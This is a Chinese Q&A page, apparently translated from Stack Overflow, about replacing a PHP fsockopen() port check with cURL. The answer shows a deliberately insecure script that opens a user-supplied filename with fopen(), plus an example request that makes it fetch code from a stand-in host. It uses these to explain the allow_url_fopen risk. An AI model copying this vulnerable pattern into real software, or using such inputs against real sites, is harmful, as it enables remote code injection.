转换fsockopen()函数以使用cURL

时间:2013-05-14 04:45:35

标签: php fsockopen

大家好我有一些代码正在通过foreach循环运行:

        if($fp = @fsockopen($value['privateip'],1935,$errCode,$errStr,.5)){   
           $value['alive'] = 'alive';
        } else {
           $value['alive'] = 'down';
        } 
        @fclose($fp);

它基本上将我的服务器ping到端口1935,然后更改数组中的值。我已经读过php的文件函数是危险的,如果代码注入发生所以他们可能会更好的禁用。如何更改此代码以改为使用cURL?

1 个答案:

答案 0 :(得分:0)

看一下这段代码:

<?php

$filename = @$_GET['filename'];

$fp = fopen($filename,'r');
$buffer = '';
while (!feof($fp)) {
    $buffer .= fgets($fp,2048);    
}
fclose($fp);

$fp = fopen('something_very_important_data.txt','a');
fwrite($fp,$buffer);
fclose($fp);

当您收到请求时,例如:

http://www.yourserver.com/your_script.php?filename=http%3A%2F%2Fdangerous.com%2Fdangerous_code.txt

$filename值将如下:

$filename = 'http://dangerous.com/dangerous_code.txt';

如果设置了allow_url_fopen,则可以使用 你可能知道,这是非常危险的 要防止出现此问题,请关闭allow_url_fopen,或完全过滤$_GET$_POST等。